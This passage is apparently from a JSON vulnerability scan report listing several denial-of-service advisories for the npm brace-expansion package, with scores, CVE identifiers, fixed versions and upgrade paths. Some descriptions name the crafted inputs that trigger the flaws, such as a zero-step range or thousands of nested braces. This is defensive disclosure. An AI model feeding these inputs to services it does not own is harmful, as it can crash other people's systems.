"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
